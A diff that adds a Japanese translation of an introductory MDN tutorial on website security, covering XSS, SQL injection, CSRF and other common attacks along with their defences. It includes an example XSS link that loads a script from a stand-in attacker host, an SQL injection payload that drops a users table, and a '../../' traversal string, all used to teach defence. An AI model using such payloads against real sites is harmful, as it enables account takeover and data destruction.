diff options
Diffstat (limited to 'files/ja/learn/server-side/first_steps/website_security/index.html')
| -rw-r--r-- | files/ja/learn/server-side/first_steps/website_security/index.html | 181 |
1 files changed, 181 insertions, 0 deletions
diff --git a/files/ja/learn/server-side/first_steps/website_security/index.html b/files/ja/learn/server-side/first_steps/website_security/index.html new file mode 100644 index 0000000000..59c9a7dbf7 --- /dev/null +++ b/files/ja/learn/server-side/first_steps/website_security/index.html @@ -0,0 +1,181 @@ +--- +title: Web サイトのセキュリティ +slug: Learn/Server-side/First_steps/Website_security +tags: + - CodingScripting + - Web サイトセキュリティ + - Web セキュリティ + - イントロダクション + - ガイド + - サーバサイドプログラミング + - セキュリテイ + - 初心者 + - 学習 +translation_of: Learn/Server-side/First_steps/Website_security +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenu("Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/First_steps")}}</div> + +<p class="summary">ウェブサイトのセキュリティでは、ウェブサイトのデザインと使用方法のあらゆる面で警戒が必要です。この入門記事だけではウェブサイトのセキュリティの第一人者にはなれませんが、脅威がどこから発生するのか、そして最も一般的な攻撃に対してウェブアプリケーションを強化するために何ができるのかを理解するのに役立ちます。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>基本的なコンピューターリテラシー</td> + </tr> + <tr> + <th scope="row">目標:</th> + <td>ウェブアプリケーションのセキュリティに対する最も一般的な脅威と、サイトがハッキングされるリスクを減らすためにできることを理解する。</td> + </tr> + </tbody> +</table> + +<h2 id="ウェブサイトのセキュリティとは">ウェブサイトのセキュリティとは?</h2> + +<p>インターネットは危険な場所です。定期的に、サービス拒否攻撃によってウェブサイトが利用できなくなったり、自分のホームページに変更された (多くの場合有害な) 情報を表示したりすることがあります。その他の注目を集める事例では、何百万ものパスワード、メールアドレス、およびクレジットカードの詳細がパブリックドメインに漏洩し、ウェブサイトの利用者を個人的な当惑と経済的リスクの両方にさらしています。</p> + +<p>ウェブサイトのセキュリティの目的は、これらの (または任意の) 種類の攻撃を防ぐことです。ウェブサイトセキュリティのより正式な定義は、<em>許可されていないアクセス、使用、改変、破壊、または混乱からウェブサイトを保護することです</em>。</p> + +<p>効果的なウェブサイトセキュリティでは、ウェブアプリケーション、Web サーバーの設定、パスワードの作成と更新に関するポリシー、およびクライアント側のコードなど、ウェブサイト全体にわたる設計作業が必要です。すべて不吉に聞こえるかもしれませんが、サーバーサイド Web フレームワークを使用している場合、多くの一般的な攻撃に対して「デフォルトで」堅牢でよく考え抜かれた防御メカニズムがほぼ確実に有効になります。HTTPS を有効にするなど、他の攻撃は Web サーバーの設定を通じて軽減できます。最後に、明らかな間違いを犯したかどうかを確認するのに役立つ、公開されている脆弱性スキャナツールがあります。</p> + +<p>この記事の残りの部分では、いくつかの一般的な脅威と、サイトを保護するために実行できる簡単な手順の詳細について説明します。</p> + +<div class="note"> +<p><strong>メモ</strong>: これは導入トピックであり、ウェブサイトのセキュリティについて考え始めるのに役立つように設計されていますが、網羅的なものではありません。</p> +</div> + +<h2 id="ウェブサイトのセキュリティ上の脅威">ウェブサイトのセキュリティ上の脅威</h2> + +<p>このセクションでは、最も一般的なウェブサイトの脅威をいくつか紹介し、それらがどのように軽減されるのかを示します。お読みになったところでは、ウェブアプリケーションがブラウザーから来るデータについて信頼しているか、または十分に妄想的ではない場合に、脅威が最も効果的であることに注意してください。</p> + +<h3 id="クロスサイトスクリプティング_XSS">クロスサイトスクリプティング (XSS)</h3> + +<p>XSS は、攻撃者がウェブサイト<em>を通じて</em>他のユーザーのブラウザーにクライアントサイドのスクリプトを挿入することを可能にする一連の攻撃を表すために使用される用語です。注入されたコードはサイトからブラウザーに送信されるため、コードは<em>信頼されており</em>、ユーザーのサイト認証 Cookie を攻撃者に送信するなどのことが可能です。攻撃者が Cookie を持っていると、あたかもユーザーであるかのようにサイトにログインし、クレジットカードの詳細へのアクセス、連絡先の詳細の表示、パスワードの変更など、ユーザーができることなら何でもできます。</p> + +<div class="note"> +<p><strong>メモ</strong>: XSS 脆弱性は、他のどの種類のセキュリティの脅威よりも歴史的に一般的です。</p> +</div> + +<p>XSS 脆弱性は、サイトが挿入されたスクリプトをブラウザーに返す方法に基づいて、<em>反映型</em>と<em>永続型</em>に分けられます。</p> + +<ul> + <li>サーバーに渡されたユーザーコンテンツが<em>ただちに</em>返され、<em>変更されず</em>にブラウザー側で表示される場合に、XSS の脆弱性が反映されます。元のユーザーコンテンツのスクリプトはすべて、新しいページが読み込まれたときに実行されます。たとえば、検索語が URL パラメータとしてエンコードされ、これらの語が結果と一緒に表示されるサイト検索機能を考えてみましょう。攻撃者は悪意のあるスクリプトをパラメータとして含む検索リンク (例: <code>http://mysite.com?q=beer<script%20src="http://evilsite.com/tricky.js"></script></code>) を作成し、それを別のユーザーにメールで送信することができます。ターゲットユーザーがこの「関連リンク」をクリックすると、検索結果が表示されたときにスクリプトが実行されます。すでに説明したように、これにより攻撃者はターゲットユーザーとしてサイトに入るために必要なすべての情報が得られ、ユーザーとして購入したり、連絡先情報を共有したりする可能性があります。</li> + <li> + <p>悪意のあるスクリプトがウェブサイトに保存され、その後、他のユーザーが知らないうちに実行されるように変更されないまま再表示されると、<em>永続的な</em> XSS の脆弱性が発生します。たとえば、変更されていない HTML を含むコメントを受け付けるディスカッション掲示板は、攻撃者からの悪意のあるスクリプトが埋め込まれる可能性があります。コメントが表示されると、スクリプトが実行され、ユーザーのアカウントにアクセスするために必要な情報が攻撃者に送信される可能性があります。この種の攻撃は非常に有名で強力です。攻撃者は被害者と直接関わりさえしないかもしれないからです。</p> + </li> +</ul> + +<p><code>POST</code> または <code>GET</code> リクエストからのデータが XSS の脆弱性の最も一般的な原因ですが、ブラウザーによって表示される Cookie データやアップロードされて表示されるユーザーファイルなど、ブラウザーからのデータはすべて潜在的に脆弱です。</p> + +<p>XSS の脆弱性に対する最善の防御策は、コードを実行するための命令を含む可能性があるマークアップを削除または無効にすることです。HTML の場合、これには <code><script></code>、<code><object></code>、<code><embed></code>、および <code><link></code> などの要素が含まれます。</p> + +<div> +<p>スクリプトを実行したり、サーバーコードの実行に影響を与えたりすることができないようにユーザーデータを変更するプロセスは、入力サニタイズと呼ばれます。多くのウェブフレームワークは、デフォルトで HTML フォームからのユーザー入力を自動的にサニタイズします。</p> +</div> + +<h3 id="SQL_インジェクション">SQL インジェクション</h3> + +<p>SQL インジェクションの脆弱性により、悪意のあるユーザーはデータベース上で任意の SQL コードを実行することができ、ユーザーの許可に関係なくデータへのアクセス、変更、削除ができます。インジェクション攻撃が成功すると、ID を偽装したり、管理者権限を持つ新しい ID を作成したり、サーバー上のすべてのデータにアクセスしたり、データを破壊または変更して使用できなくなる可能性があります。</p> + +<div> +<p>SQL インジェクションの種類には、エラーベースの SQL インジェクション、ブールエラーに基づく SQL インジェクション、および時間ベースの SQL インジェクションがあります。</p> +</div> + +<p>ベースとなる SQL ステートメントに渡されるユーザー入力がステートメントの意味を変更する可能性がある場合に、この脆弱性が存在します。たとえば、次のコードは、HTML フォームから提供された特定の名前 (<code>userName</code>) を持つすべてのユーザーを一覧表示することを目的としています。</p> + +<pre class="brush: sql">statement = "SELECT * FROM users WHERE name = '" + <strong>userName</strong> + "';"</pre> + +<p>ユーザーが実名を指定した場合、そのステートメントは意図したとおりに機能します。ただし、悪意のあるユーザーは <code>userName</code> に太字のテキストを指定するだけで、この SQL ステートメントの動作を次の例の新しいステートメントに完全に変更する可能性があります。</p> + +<pre class="brush: sql">SELECT * FROM users WHERE name = '<strong>a';DROP TABLE users; SELECT * FROM userinfo WHERE 't' = 't</strong>'; +</pre> + +<p>変更された文は、<code>users</code> テーブルを削除し、<code>userinfo</code> テーブルからすべてのデータを選択する (すべてのユーザーの情報を表示する) 有効な SQL 文を作成します。これは、挿入されたテキストの最初の部分 (<code>a';</code>) が元の文を完成させるために機能します。</p> + +<p>この種の攻撃を回避するには、SQL クエリに渡されるユーザーデータがクエリの性質を変更できないようにする必要があります。これを行う 1 つの方法は、SQL で特別な意味を持つユーザー入力内のすべての文字を<a href="https://en.wikipedia.org/wiki/Escape_character">エスケープ</a>することです。</p> + +<div class="note"> +<p><strong>メモ</strong>: SQL ステートメントは、<strong>'</strong> 文字を文字列リテラルの開始と終了として扱います。この文字の前に円記号を入れる (<strong>\'</strong>) ことで、シンボルをエスケープし、代わりにそれを文字 (文字列の一部) として扱うように SQL に指示します。</p> +</div> + +<p>次の文では、<strong>'</strong> 文字をエスケープします。SQL は名前を太字の文字列全体として解釈します (これは非常に奇妙な名前ですが、有害ではありません)。</p> + +<pre class="brush: sql">SELECT * FROM users WHERE name = '<strong>a\';DROP TABLE users; SELECT * FROM userinfo WHERE \'t\' = \'t'</strong>; +</pre> + +<p>ウェブフレームワークはしばしばあなたのためにエスケープする文字の面倒を見るでしょう。たとえば、Django はクエリセット (モデルクエリ) に渡されたユーザーデータが確実にエスケープされるようにします。</p> + +<div class="note"> +<p><strong>メモ</strong>: このセクションは<a href="https://en.wikipedia.org/wiki/SQL_injection">ここウィキペディア</a>の情報に大きく依存しています。</p> +</div> + +<h3 id="クロスサイトリクエストフォージェリ_CSRF">クロスサイトリクエストフォージェリ (CSRF)</h3> + +<p>CSRF 攻撃は、悪意のあるユーザーが他のユーザーの資格情報を使用して、そのユーザーの知らないうちに同意なしでアクションを実行することを可能にします。</p> + +<p>この種の攻撃は、例で最もよく説明されています。John は、特定のサイトでログインユーザーがアカウント名と金額を含む HTTP <code>POST</code> リクエストを使用して特定のアカウントに送金できることを知っている悪意のあるユーザーです。John は、自分の銀行の詳細と金額を隠しフィールドとして含むフォームを作成し、それを他のサイトユーザーにメールで送信します ([送信] ボタンは [早く金持ちになる] サイトへのリンクとして偽装)。</p> + +<p>ユーザーが[送信]ボタンをクリックすると、トランザクションの詳細と、サイトに関連付けられているブラウザーが要求したクライアント側の Cookie を含む HTTP <code>POST</code> リクエストがサーバーに送信されます (リクエストに関連サイトの Cookie を追加するのは通常のブラウザーの動作です)。サーバーは Cookie をチェックし、それらを使用してユーザーがログインしていてトランザクションを実行する権限を持っているかどうかを判断します。</p> + +<p>その結果、取引サイトにログインしている間に [送信] ボタンをクリックしたすべてのユーザーが取引を行うことになります。John は金持ちになります。</p> + +<div class="note"> +<p><strong>メモ</strong>: ここでのトリックは、John がユーザーの cookie (またはアクセス資格情報) にアクセスする必要がないことです。ユーザーのブラウザーはこの情報を保存し、関連するサーバーへのすべてのリクエストに自動的に含めます。</p> +</div> + +<p>この種の攻撃を防ぐ 1 つの方法は、サーバーが <code>POST</code> リクエストにユーザー固有のサイト生成のシークレット情報を含めることを要求することです。転送に使用されるウェブフォームを送信するときに、シークレットがサーバーによって提供されます。この方法では、サーバーからユーザーに提供されているシークレットを知っている必要があるため、John は独自のフォームを作成できません。たとえ彼がシークレットを見つけて特定のユーザーのためにフォームを作成したとしても、彼はもはやその同じフォームを使用してすべてのユーザーを攻撃することはできないでしょう。</p> + +<p>ウェブフレームワークには、そのような CSRF 防止メカニズムが含まれていることがよくあります。</p> + +<h3 id="その他の脅威">その他の脅威</h3> + +<p>その他の一般的な攻撃/脆弱性は次のとおりです。</p> + +<ul> + <li><a href="https://ja.wikipedia.org/wiki/%E3%82%AF%E3%83%AA%E3%83%83%E3%82%AF%E3%82%B8%E3%83%A3%E3%83%83%E3%82%AD%E3%83%B3%E3%82%B0">クリックジャッキング</a>。この攻撃では、悪意のあるユーザーが目に見えるトップレベルサイトのクリックをハイジャックし、その下にある非表示のページにルーティングします。このテクニックは、例えば、合法的な銀行のサイトを表示するが、攻撃者によって制御された目に見えない {{htmlelement("iframe")}} にログイン資格情報をキャプチャするために使用されるかもしれません。クリックジャックを使用して、表示されているサイト上のボタンをユーザーにクリックさせることもできますが、実際にはまったく違うボタンを無意識にクリックしています。対応策として、サイトに他のサイトの iframe を埋め込まれないように適切な HTTP ヘッダを設定することで防ぐことができます。</li> + <li><a href="/ja/docs/Glossary/Distributed_Denial_of_Service">Denial of Service</a> (DoS)。DoS は通常、正当なユーザーのサイトへのアクセスが妨害されるように、偽のリクエストで対象のサイトをあふれさせることで達成されます。リクエストは単純で多数あり得るか、または個々に大量のリソースを消費し得る (例えば、遅い読み取りまたは大きなファイルのアップロード) ものです。DoS 防御は通常、正当なメッセージの通過を許可しながら、「悪い」トラフィックを識別してブロックすることによって機能します。これらの防御は通常、ウェブサーバーの前または内部にあります (これらはウェブアプリケーション自体の一部ではありません)。</li> + <li><a href="https://ja.wikipedia.org/wiki/%E3%83%87%E3%82%A3%E3%83%AC%E3%82%AF%E3%83%88%E3%83%AA%E3%83%88%E3%83%A9%E3%83%90%E3%83%BC%E3%82%B5%E3%83%AB">ディレクトリートラバーサル</a> (ファイルと開示)。この攻撃では、悪意のあるユーザーが ウェブサーバーのファイルシステムのアクセスできない部分にアクセスを試みます。この脆弱性は、ユーザーがファイルシステムのナビゲーション文字を含むファイル名 (たとえば<code>../../</code>) を渡すことができる場合に発生します。解決策は、使用する前に入力をサニタイズすることです。</li> + <li><a href="https://en.wikipedia.org/wiki/File_inclusion_vulnerability">ファイルインクルード</a>。この攻撃では、ユーザーはサーバーに渡されたデータを表示または実行するための「意図しない」ファイルを指定することができます。このファイルがロードされると、ウェブサーバーまたはクライアントサイドで実行される (XSS 攻撃につながる) 可能性があります。解決策は、使用する前に入力をサニタイズすることです。</li> + <li><a href="https://www.owasp.org/index.php/Command_Injection">コマンドインジェクション</a>。コマンドインジェクション攻撃により、悪意のあるユーザーはホスト OS で任意のシステムコマンドを実行することができます。解決策は、システムコールで使用される前にユーザー入力をサニタイズすることです。</li> +</ul> + +<p>ウェブサイトのセキュリティ脅威の包括的な一覧については、<a href="https://en.wikipedia.org/wiki/Category:Web_security_exploits">Category: Web security exploits</a> (Wikipedia) および <a href="https://www.owasp.org/index.php/Category:Attack">Category: Attack</a> (Open Web Application Security Project) を参照してください。</p> + +<h2 id="いくつかの重要なメッセージ">いくつかの重要なメッセージ</h2> + +<p>ウェブアプリケーションがブラウザーからのデータを信頼している場合、前のセクションのセキュリティ上の悪用のほとんどすべてが成功します。ウェブサイトのセキュリティを向上させるために他に何をしても、ブラウザーから表示される前、SQL クエリで使用される前、または OS やファイルシステムの呼び出しに渡される前に、すべてのユーザー発信データをサニタイズする必要があります。</p> + +<div class="warning"> +<p>重要:ウェブサイトのセキュリティについて学ぶことができる最も重要な教訓は、<strong>ブラウザーからのデータを決して信用しない</strong>ことです。これには <code>GET</code> リクエスト、<code>POST</code> リクエスト、HTTP ヘッダと Cookie、およびユーザーがアップロードしたファイルの URL パラメータのデータが含まれますが、これらに限りません。すべての受信データを常にチェックしてサニタイズしてください。常に最悪の事態を想定してください。</p> +</div> + +<p>あなたが取れる他の具体的な対策はいくつかあります：</p> + +<ul> + <li>より効果的なパスワード管理を使用してください。定期的に変更される強力なパスワードを推奨します。パスワードに加えてユーザーが別の認証コード (通常は、自分の電話に送信される SMS のコードなど、ユーザーだけが所有する物理的なハードウェアを介して配信されるもの) を入力する必要があるように、サイトの 2要素認証を検討してください。</li> + <li>HTTPS および HTTP Strict Transport Security (HSTS) を使用するように Web サーバーを設定します。HTTPS は、クライアントとサーバー間で送信されるデータを暗号化します。これにより、ログイン認証情報、Cookie、<code>POST</code> リクエストデータ、およびヘッダ情報が攻撃者に容易に利用されないようになります。</li> + <li>最も一般的な脅威 (<a href="https://owasp.org/www-project-top-ten/">現在の OWASP リストはこちら</a>) を追跡し、最も一般的な脆弱性を最初に解決します。</li> + <li>サイトで自動セキュリティテストを実行するには、<a href="https://www.owasp.org/index.php/Category:Vulnerability_Scanning_Tools">脆弱性スキャンツール</a>を使用してください。後で、非常に成功したウェブサイトも <a href="https://www.mozilla.org/en-US/security/bug-bounty/faq-webapp/">Mozilla がここでしているような</a>バグ報奨金を提供することによってバグが見つかるかもしれません。</li> + <li>必要なデータのみを保存して表示してください。たとえば、ユーザーがクレジットカード情報などの機密情報を保存する必要がある場合は、ユーザーが識別できるだけの十分なカード番号を表示してください。そうすれば攻撃者がそれをコピーして別のサイトで使用することはできません。現時点で最も一般的なパターンは、クレジットカード番号の最後の 4桁だけを表示することです。</li> +</ul> + +<p>ウェブフレームワークは、より一般的な脆弱性の多くを軽減するのに役立ちます。</p> + +<h2 id="まとめ">まとめ</h2> + +<p>この記事では、ウェブセキュリティの概念と、ウェブサイトが保護しようとする一般的な脅威について説明しました。最も重要なことは、ウェブアプリケーションはウェブブラウザーからのデータを信頼できないということです。すべてのユーザーデータは、表示する前にサニタイズするか、SQL クエリやファイルシステムコールで使用する必要があります。</p> + +<p>この記事で、<a href="/ja/docs/Learn/Server-side/First_steps">モジュール</a>の終わりに来ました。サーバーサイドのウェブサイトプログラミングの最初のステップをカバーしました。これらの基本概念を学んで楽しんでいただければ幸いです。これでウェブフレームワークを選択してプログラミングを開始する準備が整いました。</p> + +<p>{{PreviousMenu("Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/First_steps")}}</p> + +<h2 id="このモジュールの記事一覧">このモジュールの記事一覧</h2> + +<ul> + <li><a href="/ja/docs/Learn/Server-side/First_steps/Introduction">サーバーサイドの概要</a></li> + <li><a href="/ja/docs/Learn/Server-side/First_steps/Client-Server_overview">クライアント - サーバーの概要</a></li> + <li><a href="/ja/docs/Learn/Server-side/First_steps/Web_frameworks">サーバーサイドウェブフレームワーク</a></li> + <li><a href="/ja/docs/Learn/Server-side/First_steps/Website_security">ウェブサイトのセキュリティ</a></li> +</ul> |